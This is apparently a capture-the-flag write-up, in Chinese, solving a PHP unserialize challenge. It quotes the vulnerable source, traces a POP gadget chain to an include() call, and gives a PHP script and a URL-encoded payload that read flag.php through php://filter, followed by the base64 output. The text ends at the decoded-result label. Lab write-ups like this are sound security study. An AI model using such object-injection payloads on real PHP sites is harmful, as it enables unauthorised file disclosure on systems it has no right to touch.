1、開啟題目獲取到原始碼資訊,如下:
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
2、我們的最終目標是獲取flag.php中的flag資訊,因此分析原始碼資訊,檢視哪裡可以獲取到flag.php檔案,發現在Modifier類中存在include($value),因此想到可以通過php偽協議來獲取flag.php的資訊,所以現在我們的目的就成了呼叫append函式,接著往下觀察,發現__invoke函式呼叫了append函式,因此我們只要執行了__invoke函式一樣可以獲得flag資訊,那該怎麼執行__invoke函式呢:
因此,此時我們應該使用別的函式來呼叫Modifier的一個物件,繼續觀察原始碼發現只有test類的__get函式接收了引數值,因此我們就將Modifier物件傳入到__get函式中,所以現在的目的就成了執行__get函式,那又該怎麼執行__get函式呢:
所以此時就需要一個函式來呼叫test類中不存在的屬性,這裡要注意一下這行程式碼:$this->str->source,這裡這麼會有兩個->呢,因為這裡str就是test類的一個物件,然後呼叫test類的物件的soucre屬性,但是這個屬性在test類中並不存在,因此就會執行__get方法,所以現在我們就是要執行__toString函式,那我們又該如何執行__toString函式呢:
所以此時我們就需要通過執行show類的__construct函式來執行__toString函式並且__construct函式中的echo 'Welcome to '.$this->source."<br>"中的$this->source需要為物件才可以執行__toString函式,因此需要建立show類的物件和賦予$this->source物件。
3、分析完之後就需要根據分析過程來寫指令碼,指令碼內容如下:
<?php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$a= new Show();
$a->source=new Show();
$a->source->str=new Test();
$a->source->str->p=new Modifier();
echo urlencode(serialize($a));
payload:O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
4、訪問之後獲得加密的flag.php檔案,進行base64解密,結果如下:
flag.php檔案:
PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFnezg1YmQ4NzVjLTNiNjktNGExOS05MTQ0LTRlYmM0NzlhYjZjNH0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+
解密後資訊: